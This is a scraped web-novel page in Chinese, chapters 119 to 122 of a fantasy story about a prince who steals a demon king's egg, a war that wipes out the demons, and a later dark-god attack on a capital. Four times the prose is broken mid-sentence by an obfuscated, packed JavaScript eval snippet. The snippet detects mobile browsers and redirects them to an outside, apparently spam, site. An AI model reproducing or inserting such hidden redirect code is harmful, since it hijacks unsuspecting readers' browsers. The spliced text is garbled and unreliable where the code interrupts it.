兽人的领袖，大狮鹫核心的拥有者出面处理此事，但性格冲动的大狮鹫女士在解决争端的过程中没能控制情绪，扬起的翅膀和尾巴无意鞭打到五名参与谈判的人类，并造成其中一人死亡。 目睹此事的人类陷入巨大的恐惧，选择暂时撤退。 这种恐惧迅速在人类的集体之中传播，大部分人已经达成了一个共识，他们绝无可能忍受长期生活在恐惧之中，要么彻底消灭让他们感到恐惧的源头，要么就自我消灭。 这件事发生的当时，格兰德处于一种非常虚弱的状态，据说这是新的卵果即将孵化的征兆。老魔王屡次陷入晕厥和昏睡，阿加雷斯留在宫殿中寸步不离地照料，他们对外界发生的一切一无所知。 真正让事情一发不可收拾的是魔龙罗德里斯的登场。 作为地位仅次于魔王的大贵族，他认为自己有责任在格兰德无法出面的时候解决族群的危机。 他鲁莽的行动造成了一百多名人类的直接丧命。 来自原帝国贵族家庭的七名年轻人原本都是阿加雷斯的支持者，但面对民众、或者说同伴给予的压力，他们不得不改变方针，拉起对抗的大旗，参与到战争当中。 等到一名幽灵闯入宫殿，将这个糟糕透顶的消息告诉给两位领袖时，事情已经到了无可转圜的地步。 人类和魔族似乎已经彻底失去了和平相处的可能。 “格兰德，你拦住魔龙，我去和我的族人谈谈！”阿加雷斯还抱有一线希望，他清楚即使魔族已经失去理智，格兰德也可以轻易地让他们平静下来。 而当他看到外面尸骨累累的景象时，他发现自己根本开不了口。 他的脑中一片空白。 格兰德固然能命令魔族战士们停止战斗，但阿加雷斯却没有魔王那样的能力，无法让那些已经杀红了眼的同胞冷静。 “罗德里斯，住手。” 沉稳的声音从他身后传来。阿加雷斯回过头，看到面色苍白的格兰德仰着脑袋，对战场上那头漆黑的庞然大物命令道。 巨龙停止了行动，但人类并没有，火枪、刀斧、弓箭，能用的武器全都在向巨龙招呼。 格兰德一手捂着胸口，皱着眉，怜惜而痛苦地凝望着巨龙。 阿加雷斯看到一层结界在巨龙身侧张开，隔绝了来自人类的一切攻击，也束缚了巨龙的一切行动。 这是一个巨大的结界，需要消耗不少魔力，让本就虚弱的格兰德近乎油尽灯枯。 阿加雷斯想要过去扶着他。 然而寒光一闪，一柄战斧砍下了格兰德的头颅，满身是血的蒂德莉就站在无头尸体的身后，喘着气，目光如炬地盯着阿加雷斯。 阿加雷斯睁大了眼睛，睁到眼角几乎开裂，时间变得很慢，那些嘈杂的声音变得很远，对周围的一切感知都变得模糊而迟钝。 惟独一个念头清晰到让他的大脑感到钻锯般疼痛。 那就是人类和魔族之间再也没有和平相处的可能性了，这将会是一场你死我活的战争，而人类的胜算微乎其微。 “殿下，我杀死了魔王。”狂战士用残酷的口吻说道。 “不！！！”阿加雷斯发出一声凄厉的嘶吼。 擒贼先擒王的道理对魔族来说毫无用处，唯一能够阻止魔族对人类进行屠杀的存在已经死去。 那个拥有神秘力量的族群现在对人类只剩下滔天的仇恨。 他要怎么做，才能拯救自己的族群于危亡？ 他要怎么做，才能在强大的魔法与浓烈的憎恨之中为人类开辟一条生路？ * 魔王的死引起了整 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13666520|136394||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个魔界的暴怒。 原本就微妙和脆弱的异族友谊被彻底断绝，除去魔龙和幻灵之外的八位大贵族率领着各自的部族，意图为他们的王报仇。 即使是真心希望能与魔族共存的阿加雷斯，也不得不睁开眼睛面对现实了。再抱着他的天真梦想，背井离乡随他而来的族人们恐怕都要死不瞑目。 但是原始的火枪打不穿巨魔的皮肤，炼狱兽却能轻易融化人类的铠甲；刀剑夺不走骷髅的性命，兽人却能一手捏爆人类的脑袋……力量的差距太过悬殊，即使人类之中有蒂德莉这样的强者，也不免落入负隅顽抗的境地。 “阿加雷斯，这一切都是你引起的，你最好能为此负责。” “殿下明明就没有错，难道你愿意留在那个已经疯狂了的国家，和那群疯子共沉沦吗？是你自己要跟来的，殿下又没有逼你。” “我从一开始就说，不能指望那些恶魔们会把土地分给我们，对资源的争夺，只能是你死我活。” “都已经这个时候了，你们怎么还有心情在这里内讧？如果吵架和推卸责任能解决问题的话，我愿意吵到地老天荒。” “打到只剩最后一个人……” “别说丧气话。” “你觉得我们有胜算？不可能的。我们赢不了魔法。他们太强大了。” “不，大多数魔族其实都很弱小，能够真正称得上战斗力的种族根本不足一半。我们可以先从他们的弱点下手。” “不能求和吗？再打下去，我们的同胞就真的要死绝了。” “没出息！魔王已经死了，魔族绝对不可能放过我们，即使我们有意求饶，他们也不会同意的。只能战斗到最后一刻。” “还可以逃跑！我们的船还在海边，我们可以继续去海上流浪，过去那些年不都是这样过来的吗？” “船上没有资源……” “等一等，阿加雷斯，你不是说过，新的魔王马上就要诞生了吗？” “殿下，阿斯代伦殿下说的是不是真的？魔族将有一个新生的王？” “怎么了，洛伦诺，你怎么突然这么激动？你别用力抓着殿下的肩膀，他的手臂上有伤。” “抱歉……新生的魔王，如果我们能够控制新生的魔王，我们就能控制魔族了，对不对？” “控制……新生的魔王？” “如果祂出生后第一眼看到的是人类，再被人类抚养长大，说不定就会以为自己也是人类。你看，老魔王的长相和人类完全没有区别，不是吗？” “不愧是韦斯特尔。我们可以试试。” “怎么试？” “让殿下把魔王的卵果带出来，我们只要等待祂孵化。” “姑且不说我们无法确定魔王什么时候才会真正孵化，等到祂能够发号施令，这片大陆上可能早就没有一个人类了！” “殿下，殿下，你要去哪里？！” 阿加雷斯离开了营地。 在战火纷飞的这个夜晚，抬起头依然能看到无数星辰。 120. 破壳之卵 如果在扬帆起航的那一天，他就预料到今日的情形，那么他还会离开帝国的泥沼，带着仍然心怀希望的臣民踏上寻找新家园的旅途吗？ 帝国注定陨落，他们只是从一个地狱抵达另一个地狱，仅此而已。 他眺望着远处那座高大壮丽的宫殿，他知道如何前往那里，如何前往魔王的寝殿，如何找到那颗卵果。可接下去他要怎么办？ 在他确认答案之前，他的双腿已经将他带到了那个地方。 石雕般精美的椭球体，在他眼下静静绽放光芒，而那个光点便是格兰德曾经说过的，魔王的力量。 魔王之力还没有与小魔王融合，这说明距离孵化还有一段时间。 不知为何，阿加雷斯觉得这颗卵果一定受到了惊吓，并因此导致祂主动延缓了成长的进度。 他学着格兰德曾经的样子，轻轻抚摸着卵果的外壳，像是在对祂进行安抚，又像在征求祂的意见。 “什么人？！”有人用魔族的语言发出惊呼。 阿加雷斯不假思索地抱起了魔王之卵，将祂裹在自己怀中，如同窃贼一般，飞快地往密道的入口跑去。 这条密道是格兰德特意让恶魔城为他设计的。 “站住！你这个卑鄙的人类！”魔族女性紧随其后地跟了上来。 阿加雷斯认出那位便是被称为极乐鸟的魔界大贵族，她拥有魅惑人心的本领，但是不精通打架，所以一直没有出现在正面战场上。 要从她眼皮底下逃走不是什么难事。 阿加雷斯加快了脚步，但脚踝猛地被什么东西绊了一下，整个人狼狈地在地上翻了个滚。为了护着果实，他的手肘在坚硬的地面上狠狠撞了一下。 痛感并不强烈，但剧烈的震荡让他整条胳膊开始发麻。尽管如此他还是死死地将果实抱在怀里。 他的脚踝被捆住了，整个人被拖拽在地上，空气中飘荡着血的气味。 不祥的征兆。又有一位大贵族来到了这里。 凶戾又残忍的吸血之王。 阿加雷斯尚未精通魔族的所有语言，他只能间断地辨认出几个词汇，并从这只吸血鬼的表情中猜到那定是对他的咒骂。 很快，他感到一阵濡湿，活动的血液钻到了他的身下，像一张地毯似的要将他卷起来。 他不知道这些腥热的液体究竟打哪儿来的如此强大的压力，它们倾轧着他，将空气一点点挤出他的肺部，让他觉得难以呼吸。大脑缺氧，思维停滞。 咔。 一阵似近似远的怪声。 手肘前方的皮肤感受到尖锐的刺痛，仿佛有一片锋利的玻璃渣刺进身体，而那些更加稀碎的不规则颗粒顺着伤口进入他的身体，进入他的血管，凶残地刮擦着血管壁，折磨着他的肌肉，他的经络，他的五脏六腑…… 他像一条被火灼烧的毛虫一样在地面上仓皇地扭曲。巨大的疼痛和氧气的缺失却让他发不出一点声音。 他感觉到身体被什么东西入侵了。 那东西短暂地控制了他的行动，他的思考，等他回过神来的时候，极乐鸟和吸血之王已经倒在地上苟延残喘，并用他一辈子都忘不掉的眼神狠狠瞪视着他。 * 阿加雷斯将尚未熟透的魔王之卵带回了充斥着伤痛和疲惫的营地。他觉得从这里离开似乎已经是上个世纪的事情了。 “天啊……”看到果实的兰登发出一声惊叫，“它怎么是破的？！” 阿加雷斯愣怔地将果实举到面前，看到了如同黑洞一般无法弥补的缺口，角度锐利的缺口就像一柄利剑，狠狠地剜着他的心脏。 果实里面那个明亮而温和的光点消失了，整颗卵果黯淡无光，看起来像是死了一样。 “你另一只手上拿的是什么？”因为受伤而一直躺在地上的阿斯代伦看到了兄长手里捏着的球体。 阿加雷斯走到他身边，在他面前跪坐下来。他将其中一颗红色的球体悬浮在掌心：“吸血之王的核心。血族有很强的身体修复能力——” 红色球体离开了阿加雷斯的手掌，然后没入了阿斯代伦的体内。 “你会好起来的。” 阿斯代伦感到自己那条断了的腿逐渐有了知觉，他惊愕地看着兄长。 阿加雷斯露出了一个勉强的笑容：“以后就不能随便把耳钉取下来了，对吧？” 夜空下陡然响起山崩地裂般的声音，无数团簇的火焰出现在营地上空，如流星雨般向地面坠落。 “是元素兽组织的进攻！”洛伦诺发出迟到的预警。 现在再进行防御显然为时已晚，那些错落的火苗只要在地面找到一丁点燃料，就能迅速把营地烧成一片火海。 正在休息的战士们被惊醒了，人们张皇失措的胡乱奔逃。 火焰呼啸而来。 巨大的魔法阵像烟花一样绽放在营地之上，来势汹汹的火焰一碰到那冰蓝的魔法回路，立马偃旗息鼓。 蓝色的魔法荧光将每个人的脸都照得惨白。 “那是……” 在第二波火焰雨下落之前，防御魔法阵就迅速改变了形态，像龙卷风一样疯狂地冲向火焰的源头。 * 人类获得了至高魔力，和魔族之间的形势一下子发生了逆转。 即使是尊贵的大贵族们，也无法抵御魔王的力量，纷纷拜倒在人类脚下。他们被剥夺了力量之源的核心，然后被狂怒的人群杀死。 同样惨死的还有不计其数的普通魔族。哪里发生战争，哪里就可以看见残破的尸体和无穷无尽的各色血液。 阿加雷斯亲手打开了人们心中的某个开关，却没有能力将它关上。 人类用失去理智的屠戮去宣泄心中积累的庞大恐惧。 最后，是时间，和胜利后的空虚才让人类终于收手。而那个时候，这片大陆上有幸存活的魔族数量已经很少了。 取回理性的人类做了最后一件疯狂而有远见的事，他们砍去了生命之树上能够孕育魔王之卵的枝丫——这样，世界上就再也不会出现魔王，再也没有人能打开罗德里斯的封印。 人类将成为这片大陆的主宰，获得土地、资源，还有和平与幸福。 战争结束了，胜利的一方赢得了一切，成为了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13678195|136394||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大陆的主人。 在战争中陆续缴获的七颗大贵族核心，分别被原帝国出身的七位领袖持有，新的国家围绕着这七位领袖建立了新的秩序，并将这个七人摄政的组织称为贵族院，领导贵族院的七名人类被称为七贵族。 至于最开始带着人类出逃至此的原帝国皇子阿加雷斯·格尔克诺，则拒绝参与到核心政治集团中，就连那个勇者的称号，也是在勉为其难的情况下接受的。 在核心加持下拥有了魔法能力的七贵族开始研究魔法，尤以韦斯特尔最为热衷。在旧帝国担任财政官员时，他就因为热爱学习而出名。 经过将近一百年的努力，研究有了些许成果，韦斯特尔发现魔法的三个组成部分，即魔法术式、魔法回路及魔力源流，他还研制出了一些基础公式，并通过学术机构将这些知识传播给了有限的阶层。 在此期间，通过奴役魔族，人类迅速就建立起了繁荣的国度，发展了稳定的农工商产业，科技水平也在逐渐提升——为量产而诞生的机械，蒸汽动力引擎，医疗卫生技术…… 人类将这些伟大的发明发现视为自己这一种族的魔法，它是智慧、经验、灵感等多种要素的产物，独属于他们的力量。 他们现在拥有两种魔法，便更加觉得高其他种族一等。 在这片大陆上出生的人类孩童并不知道他们的祖先曾经遭遇过什么——因为贵族院授意文化教育部门美化了那段历史。 更没有孩童知道他们所敬仰崇拜的故事里的那位勇者，始终生活在战争的阴影之下。 他的七个同伴在和平到来的第一时间就坦然地承担了各种责任，规划起新国家的蓝图，而他还终日沉浸于那段血腥凄惨的回忆，久久难以自拔。 直到战争结束的第二百七十八个年头。 原本被认为已经死亡的魔王之卵孵化出了一名女婴。尽管外表和人类婴儿完全一致，但毫无疑问，这就是一位新生的魔王。 如同行尸走肉般存活至今的阿加雷斯像是突然复活一般，向贵族院提出亲自抚养这名女婴。 让魔王和本该属于她的力量距离太近，听起来是一个充满风险的打算——即使七位贵族早就在两百多年的时间里习惯了掌控一切、无人忤逆的状况，但他们没有信心能对抗一名完整的魔王。 圆桌会议起初驳回了阿加雷斯的请求，但是在阿斯代伦的力排众议之下，他们暂时容许将阿加雷斯照顾新生的魔王。 紧随魔王诞生出现的，是被称为“魔法大发现”的现象。 以星屑为首的魔力源流突然效率倍增，被人类掌握的魔法种类越来越多，在科技大爆炸之后的数年内，魔法又一次成为人类社会的重要生产力。 这些变化，带着新生儿四处流浪的阿加雷斯也有所体会，只是没有那么在意。 他很庆幸曾经向格兰德询问过小魔王的名字，他也任由小魔王擅自将他误认为格兰德。 身体里沉寂多年的力量因为它真正主人的出现而开始躁动不安。 阿加雷斯觉得仿佛停滞了二百多年的心脏终于又开始跳动。 共振。 121. 染血王座 * 贝尔霍特抬头观察情况的时候，觉得眼睛突然一花。 “你们有没有看到，刚才好像有什么东西从头顶上飞过去了。” “你是说那头怪物喷射出来的光波？”波诺说。 “不，方向相反。” 于是所有人都看向了白手套所指示的地方。 阿加雷斯觉得心脏的收缩和舒张变得更加剧烈了。 * “我记忆里没有这样的地方。” “我不知道在你那个时代，这里被叫作什么，现在它叫神圣峡谷，是这个国家的首都。” 妮娜蜷缩在罗德里斯的怀里，竖着耳朵才能听清那些被拍打翅膀时发出的气流声搅碎的话语。 “人类把这儿变得面目全非了。你怎么能容许那些异族在你的土地上肆意妄为？”罗德里斯的语气很不高兴。 妮娜还记得阿斯代伦对他的评价，一头难以相处的巨龙，只会听从格兰德的命令。 “我也无能为力。”妮娜说，“我活了二十二年，其中有二十二年，我都是作为人类活着的。” “二十二年吗？我以为我沉睡的时间比这要久远多了。”罗德里斯说。 高空的风让人觉得寒冷，妮娜把身体缩得更紧了一点，她没有解释这场关于时间的错觉，以免这条巨龙大发雷霆，殃及无辜。 不过即使她不说，罗德里斯也发现了最大的问题：“你最好解释一下你的魔力都去了哪里。” “出于一些机缘巧合……暂时让别人保管了。” 罗德里斯的手臂僵了一下。 “所以当你遇见自己解决不了的情况，就终于想起我来了？” “魔族们都对你十分景仰。你不会不愿意帮忙吧？” 罗德里斯冷笑了一声：“你知道，我不会抗拒魔王的命令，你的态度大可以再强硬一点，我不是那种要哄着骗着才会去干活的龙——” 说到这里，妮娜猛然感到一阵失重，罗德里斯毫无征兆地下降了数十米，敏捷地躲开了自前方而来的一波攻击。 “那到底是什么东西？”她喘了口气，扭过头，看向攻击的源头，那是盘踞在贵族院上方的一团黑色雾气，缩涨、翻腾，带着血丝、肉末、破碎的骨头、蓝紫色的筋——简直像是一团变成液体，然后被煮沸了的动物。 天空中到处都是令人作呕的气味。 罗德里斯不愧是活了五百多年的活古董，他很快就向魔王揭示了答案：“染血的王座。” 层层叠叠吞吞吐吐的扭曲烟雾中，镶嵌着一具半是惨白得像在水里泡了一个月，半是漆黑得好像能吸收所有颜色的巨大身体。 那些充满破坏力的光束就是从那具身体的嘴部发射出来的。 “它也是魔族的一种吗？”妮娜问。 罗德里斯不屑地翻了一个白眼：“无论如何，你是一个魔王，不要随便提出这种愚蠢的问题——” “我的族人们不会因为我提了愚蠢的问题就背弃我。” “你这种肆无忌惮的态度真让人讨厌。格兰德究竟是怎么教你的？” 妮娜突然老实起来：“抱歉……” 罗德里斯开始像一个耐心的老师一样为她答疑解惑：“我也只是在古代的典籍里见过这种家伙，它牵涉到一些种族的信仰问题。” “深渊族。” “看来你还不是一位过分昏庸的君主。” “他们在私底下信奉那东西？为什么？” “古代学者说，远古时就生活在地下的邪神侵蚀了生命之树的一部分根茎，最终导致诞生自生命之树的一部分魔族受到了影响。历代的魔王都为消除这部分影响做出过不少努力，只要不经受特定的刺激，深渊巫妖依然能够像普通族人那样活着。” “那是位邪神？！”妮娜朝贵族院的方向看了一眼，“你打得过祂吗？” “不确定，八成不太行，但总得试试。”罗德里斯说。 “停下。”妮娜说。 罗德里斯停在了市中心的一栋高楼顶层。染血的王座很快就锁定了这里，但祂改变了攻击的方式。 有血有肉的雾气沸腾得愈发厉害，怪物的身躯进一步膨胀。祂看上去像是气体聚集的产物，但祂周边的空间肉眼可见地正在发生扭曲，附近的建筑也在分崩离析，向王座中间的黑色漩涡飞去。 这似乎证明祂质量惊人。 “祂确实是个需要赶紧解决的麻烦，但还是不要贸然靠近比较好。你说祂想干什么？” “很显然，祂想杀了你，我的小陛下。” “然后呢？” “统治世界，传播信仰。如果过去那些学者们的猜测没错，祂对生命之树垂涎已久。” “你觉得祂有意志吗？” “如果祂在没有意志的情况下就能走到今天这一步，那我不敢想象如果祂拥有意志会是什么样子。” “你觉得至高魔力能对付得了祂吗？” “如果你今年两百二十岁，我觉得还能和祂一较高低，但是你才二十二岁——至高魔力还在发展初期，没有成熟。话说回来，吸血鬼和炼狱兽呢？加上那些大贵族的力量，我想至少能把祂给封印起来。”罗德里斯眯了一下眼睛，“就像格兰德封印了我。” “等等，祂似乎又要有什么动作了。”妮娜眼尖地看到烟雾里那死尸般的躯体像是浑身抽筋似的晃动了起来。 还不等她再仔细观察一番，罗德里斯便立刻用黑色的斗篷蒙住她的脑袋，然后纵身跃下大楼，飞速向地面俯冲。 没有等他彻底落地，天空中便落下了黑色的雨点。雨滴所到之处，建筑被腐蚀，树木被融化，地面变得坑坑洼洼。 唯一值得庆幸的是大街上根本没有人，大多数王都的市民已经离开了这座城市，否则他们很快就会通过这场黑雨变成王座的养料。 “祂在播种。” 淋到黑雨的地面开始隆起，破裂，像幼苗破土一样，地上冒出一缕缕如蛆虫般不断扭动的黑气。 罗德里斯简明扼要地阐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13687603|136394||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 释了王座的用意。 “这些东西会从有生命的物体上汲取生命，从没有生命的物体上生根发芽。” “你的翅膀没事吧？”妮娜抬起头，看着挡在自己上方的黑色龙翼。 罗德里斯面无表情：“很疼。” “先回恶魔城，它应该可以抵挡一阵。”妮娜说。 罗德里斯最后眺望了王座一眼，点了点头，再次用斗篷将魔王裹住，穿过黑色的雨帘，向神圣峡谷的老城区飞去。 * 灾变发生的时候，雷诺阿正在王城的平价超市内为赫尔马岱的工人们挑选补给品，他刚刚确认好商品种类和数量，并把批发订单交到超市负责人手中，大街上就爆发出游行一般的声势。 “怎么了？”负责人朝店外探出半个脑袋，就看见贫民们带着大包小包从前面的马路上汹涌而过。 大多数人都光顾着走自己的路，极其难得的有一位好心人劝了一句：“再不走就来不及啦！王都已经被怪物占领了！”他一边说，一边伸手向后指去。 从一栋十二层建筑的后方露出来的，是让人感到头皮发麻的黑色雾气。 “贵族院呢？！”负责人大声问了一句。 好心人已经走远了，但还是回头丢下一句：“那东西就是从贵族院上面长出来的！” “见鬼，到底出什么事了？”负责人还有些摸不着头脑，“难道我也该跟着去逃难？” 就在这时候，建筑物后方的黑色雾气膨胀了一番，一下子比建筑物高出很多，雾气中翻腾着的各色物质也隐隐可见轮廓。 负责人觉得自己的心脏也跟着那一轮膨胀狠狠地撞了一下胸腔，他将雷诺阿刚刚递给他的订单拍在柜台上：“先生，我看我们也得赶紧离开这里。” 他熟练地从柜台下面翻出一只尼龙购物袋，就近从货架上抓了一些食物和饮料，然后匆匆离开了店铺。 他只是这里的负责人，并非店长，在肉眼可见的危机面前，他对留存在这间店铺中的财物毫无留恋。 雷诺阿看着逐渐意识到不对劲，并向出口汇聚而来的其他普通顾客们，仍在思考自己应该做什么。最后，他揣上钱包，打算先回位于老城区的公寓总部。 他只去过那儿一次，对道路还不熟悉，加上路上到处都是混乱的人群，不一会儿，他就被冲到连自己都不知道是哪儿的地方了。 手机没有信号，地图导航无法使用，路标东倒西歪，不知道具体指向何处。直到今天他才发现自己对这座生活了许久的城市一无所知。 他在逃难的人潮中流浪了一整天，中途停下来在一家已经无人值守的洗衣店里休息了几个钟头，然后再次浑浑噩噩地出发，这时候，已经是第二天的清晨了。 那个从贵族院长出来的怪物变得更加庞大，现在，无论在城市的哪个角落，都能够一抬头就看到那家伙，然后一番作呕。连阳光都被那东西遮蔽住，让人觉得周遭的世界昏沉而压抑。 就在这个时候，雷诺阿听到有人叫他。 122. 二十二岁 “黑风先生！黑风先生！” 雷诺阿循声望去，看到一头蓝色长发的美丽女性正站在街角的灯柱边上向他用力招手，看到他回头，她便立刻冲这里跑了过来。 “总算找到你了！”她气喘吁吁地说道，“维克多告诉我们你昨天没有回宿舍，公寓里也找不到你的影子，你把大伙给吓坏了。快跟我回去吧。” 她一把抓住了雷诺阿的手腕。 雷诺阿任她这么牵着，抱歉地说道：“我也想赶紧回到公寓，但是我迷路了，而且人群慌乱又密集，我总是被他们带到意想不到的方向。” 昨天还挤满了人的街道今天只留下了一片狼藉，人群像是在一夜间蒸发了一样，看来是已经连夜离开了这个地方。 天色更加暗沉了一点。雷诺阿感到鼻尖一阵灼痛，有什么东西坠在了他的鼻子上，起初他以为是一泡鸟屎，但用手擦了一下之后发现，那是一团漆黑黏腻的东西。 莉莉皱紧了眉头，立刻拉着他往路边的店铺躲去。 从天而降的雨点般的黑色液体很快就腐蚀了雨棚，并开始向建筑外墙发起攻击。 “我们要赶紧回去，躲在这里不是办法。”莉莉说，“黑雨会把建筑毁掉的！” “但是——”雷诺阿想说这种黑色雨点对身体的损伤不小。 莉莉没有搭理，她拢了拢身上的外套，然后张开手臂，护在雷诺阿头顶：“快点，跑起来！这雨会越下越大的！” “我没事，你护好自己。”雷诺阿说。 “我的身体比你结实，而且我是你的长辈，这是我应该做的。”莉莉一边迈着长腿奔跑，一边大声说道。 雷诺阿愣了一下，跟上女妖的脚步：“你都知道了？是妮娜告诉你的吗？” “不要小看一个活久了的魔族。我一直都有在暗中关注黑风家的情况。我知道我和你们家的渊源。” 唰——啪嗒—— 黑雨果然如莉莉说的那样，开始越下越大。雷诺阿看到莉莉露在外面的皮肤开始泛皱，变红，就像烧伤的痕迹，但她依然执意张着手臂，她身上的衣物已经出现了好几处破洞，黑雨对布料也起了作用。 “我们还是先找个有屋檐的地方躲躲。”雷诺阿说。 “不行！”莉莉坚定地否决了这个提议，“现在只有恶魔城能保护我们的安全，无论如何我们都要回到那里。别看这些高楼大厦平时威武得很，只要这雨下上一天，它们就全完了。如果躲进去的话，我们也会玩完的！” 不知道在雨中跑了多久，雷诺阿终于看到了熟悉的街景，这意味着罗德里斯公寓就在附近。 可恶魔城又是什么？ 那座熟悉的建筑被包围了。 围在它外面的是来不及逃跑的王城居民。他们手中拿着各种各样的武器，包括而不限于石头、水管、锤子、剪刀。 他们将公寓大门堵得水泄不通。 有些人没能占据屋檐下的有利位置，时不时被黑雨淋到，发出一阵阵尖叫。 得到掩护的人们则愤怒地击打着公寓的墙壁和大门，好像只要突破这个关口，就能消灭侵蚀着城市的怪物一样。 “打到魔王！” “和魔族不共戴天！” 他们大喊着。 雷诺阿皱了皱眉，巨大的黑色怪物在他的余光里飘忽不定——那东西是魔王？ 莉莉抓住他的胳膊，用力向门口挤去。 唰的一下。 公寓的大门在瞬间变成了一个黑洞，将他们吸了进去，而后又迅速变回原样，把闹事的人类拦在外面——虽然拦住了他们，但依然为他们提供了一个避雨的屋檐。 甫一进门，蓝发的女妖就像坏了的玩偶一样重重摔倒在地，痛苦地抽搐起来。 雷诺阿这才知道这场黑雨比他想象的要可怕多了。他也感到身体有些不适，剧痛在四肢百骸间流淌，但他受到的伤害不及莉莉严重，至少现在还能勉强支撑着不倒下。 薇薇安和拉弗尔似乎已经等了很久，一见到二人回来，立刻拿出干净的毛巾帮他们擦拭身体。 薇薇安咬着牙，帮莉莉脱下那些粘在身体上的衣服碎片，有些地方，布料已经和皮肤融为一体，强行分离只会造成更大的痛苦。 她的眼睛红红的，随时都会哭出来一样。 “拉弗尔，怎么办，莉莉似乎不太好！”她跪在地上，一边检查病患的状况，一边焦急地喊道，“她的呼吸和脉搏都变得不连贯了！外伤太严重，灼伤还在不停蔓延……怎么办？这样下去她会死的！” 雷诺阿像是被人当头打了一棒。 这时候，公寓的门又被啪地打开了，正好撞在他的背上，让他猛地一个趔趄，差点磕在玄关的那级楼梯上。 黑色的身影挡住了门外的光线，“真的不用把外面那些吵闹的人类赶走？” 妮娜从黑衣人的斗篷下挣了出来：“那样做的话，他们会死的。” “我管他们死活！”黑衣人说。 薇薇安一时没关注到这位全身漆黑的陌生客人，一双眼睛挂着泪珠，对房东哭诉道：“陛下，请您救救莉莉吧！” 雷诺阿看着被质问的人：“陛、陛下？” 只见女大学生立刻在玄关跪了下来，开始检查莉莉的伤势。 “痊愈。”她扶着莉莉的肩膀，将她搂在自己怀中，“痊愈。” 雷诺阿不知道这样做有什么意义。 那个和妮娜一起进门的高大的男性弯了弯腰，将手掌放在她的后背上：“这是那东西造成的伤，你的‘命令’不会起效的。” 莉莉的身体又抽搐了一阵，身上本来没有淋到黑雨的部分也开始被灼痕侵蚀，现在，那张姣好的脸蛋看起来已经面目全非了。 “这样下去她会死掉的！”拉弗尔叫了起来。 “莉莉，不，莉莉！”薇薇安一边试图阻止灼痕蔓延，一边呼唤着同伴的名字，她的眼泪不停掉到那具已经不成样子的躯体上。 雷诺阿跪了下来，伸出手，想要触碰那头被黑色液体玷污的蓝色长发，在碰到那些发丝的瞬间，指尖传来强烈的痛感。 “你……你能救她？你能救她的对吧？”他对房东说道。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13701263|136394||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 妮娜没有说话，低头看着莉莉的脸，然后空出一只手，从贴身的口袋里摸出了一颗浑圆的球体，那是一颗散发着橙红色光彩的球体，一看就知道不是寻常的物件。 她摊开手掌，那颗圆球在她掌心悬浮起来，然后顺着手掌的指引，来到莉莉的身前，最后没入她胸前的皮肤。 很快，灼痕的蔓延停止了，抽搐也停止了，呼吸的频率恢复了正常。 黑色的污渍从那具身体上蒸发了。 “那个……”雷诺阿心惊胆战地说道，“到底发生了什么？” 罗德里斯捏着妮娜的肩膀一把将她从地上提了起来，他的脸色很难看，薇薇安想要劝阻，只是被斜乜了一眼就不敢再乱动。 “不对劲，你是不是对我瞒了很多事？”他说，“极乐鸟的核心为什么会在你手上？” 妮娜抿了一下嘴唇，直直地望着魔龙的眼睛，说道：“你不觉得这二十二年，世界的变化实在有点大吗？” “你说什么？” “虽然我只有二十二岁，但是你被格兰德封印起来，已经是三百年前的事了。” 拥挤的玄关突然安静了下来。 薇薇安第一个反应过来，看着门口那个一身黑衣的大个子，小心翼翼地问道：“罗德里斯大人？” 妮娜原本打算在解决掉城市上空那位邪神之后再告诉罗德里斯真相的，但是极乐鸟的核心让她提前露出了破绽。 看得出来，化为人形的巨龙此刻怒火中烧。 问题是祸不单行，公寓的大门被敲响了，打开门后，站在外面的是神情各异的几名男性。 “很抱歉，在这种时候过来打扰……外面实在太危险了，如果可以的话，我们想在这里获得庇护……”阿加雷斯小心翼翼地说着。 他身边站着有着橙色头发的“少年”，银发红眼的“吸血鬼”，一个大个子，还有一名戴着白色手套、身穿制服的陌生男子。 “当然可以。”妮娜仍保持着被罗德里斯拽住肩膀的姿势，吃痛地说道。 但是玄关已经足够拥挤了，而罗德里斯丝毫没有让出空间的意思，前来寻求帮助的客人们或多或少表现出一点局促。 